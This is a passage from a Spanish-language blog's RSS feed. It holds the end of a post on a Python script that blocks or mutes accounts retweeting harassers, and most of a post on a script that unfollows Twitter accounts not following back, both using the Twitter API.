         &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
       &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
         &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Este script usa dos cuentas, La cuenta que esta siendo atacada la cual va a ser protegida y una segunda cuenta que es la que usamos para ver las interacciones de las cuentas que nos están atacando. Al momento de escribir este articulo, no es necesario usar la segunda cuenta pero en un futuro twitter podría prohibir que uno viera las interacciones de tweets de cuentas que no tiene en mudo o bloqueadas por el API así que decidí prepararme para eso. Como siempre los OAuth tokens y llaves las pueden obtener registrando sus apps en &lt;a class="reference external" href="https://apps.twitter.com/app/new"&gt;apps.twitter.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;El programa lo que hace es buscar todos los tweets de una lista de cuentas que sabemos nos atacan y tomar acción contra quienes retuitean estos tweets, las acciones pueden ser bloquear y/o enmudecer.&lt;/p&gt;
&lt;p&gt;Tras dejarlo correr un par de ciclos el resultado fue total normalidad en mi cuenta de Twitter. Ayudo un poco que los clusters de cuentas automatizadas fueron reportados y suspendidas de Twitter un par de días después.&lt;/p&gt;
&lt;p&gt;Para la versión mas reciente de este programa, colaborar y reportar bugs pueden visitar el mi repositorio en &lt;a class="reference external" href="https://github.com/orvtech/Python-tools-for-twitter/blob/master/shushbully.py"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 29 Oct 2015 03:33:00 -0700</pubDate><guid>tag:orvtech.com,2015-10-29:block-cyberbulling-twitter-python.html</guid><category>Twitter</category><category>Python</category><category>Cyberbullying</category></item><item><title>Dejar de seguir a quienes no te siguen en Twitter con Python</title><link>http://orvtech.com/dejar-seguir-quienes-siguen-twitter-python.html</link><description>&lt;p&gt;Dejar de seguir a quienes no te siguen en Twitter con este script de Python.
Hace unas semanas hice un script en Python que permitía saber quienes no te seguían pero con el cambio de la API a la versión 1.1 quedo obsoleto.
Entre las peticiones que he recibido aparte de ponerlo a funcionar con la API nueva era para dejar de seguir a esos que no te
seguían.&lt;/p&gt;
&lt;p&gt;El siguiente script no te dice los nombres de quienes no te siguen como lo hacia el que mencione anteriormente pero cuenta cuantos de los que tu sigues no te siguen y los deja de seguir. Antes de ejecutarlo les recomiendo que organicen las cuentas que ustedes siguen y que tal vez no los sigan en listas, por ejemplo crear una lista con todas sus fuentes de noticia o una de robots y comedia, etc.&lt;/p&gt;
&lt;p&gt;Este es el script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;requests_oauthlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;operator&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;collections&lt;/span&gt;


&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_follower_ids&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;-1&amp;quot;&lt;/span&gt;
  &lt;span class="n"&gt;listadeIDs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/followers/ids.json&amp;#39;&lt;/span&gt;
      &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;5000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;cursor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;time_out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;We reached rate limit for &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Try again in&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time_out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;seconds&amp;quot;&lt;/span&gt;
        &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="n"&gt;IDs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IDs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;next_cursor_str&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
      &lt;span class="n"&gt;listadeIDs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;listadeIDs&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;IDs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;ids&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
      &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;KeyError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Unable to navigate through cursors, last attempt: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;listadeIDs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_friends_ids&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;-1&amp;quot;&lt;/span&gt;
  &lt;span class="n"&gt;listadeIDs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/friends/ids.json&amp;#39;&lt;/span&gt;
      &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;5000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;cursor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;We reached rate limit for &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Try again at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="n"&gt;IDs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IDs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;next_cursor_str&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
      &lt;span class="n"&gt;listadeIDs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;listadeIDs&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;IDs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;ids&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
      &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;KeyError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Unable to navigate through cursors, last attempt: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;listadeIDs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;



&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_unfollowers_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unfollowers&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
   &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unfollowers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/users/lookup.json&amp;#39;&lt;/span&gt;
   &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;user_objs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
   &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
   &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
   &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;unfollowers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
       &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;user_id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
       &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
         &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;We reached rate limit for &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Try again at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
         &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
       &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
         &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;screen_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;followers_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;friends_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;following&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;verified&amp;#39;&lt;/span&gt;&lt;span 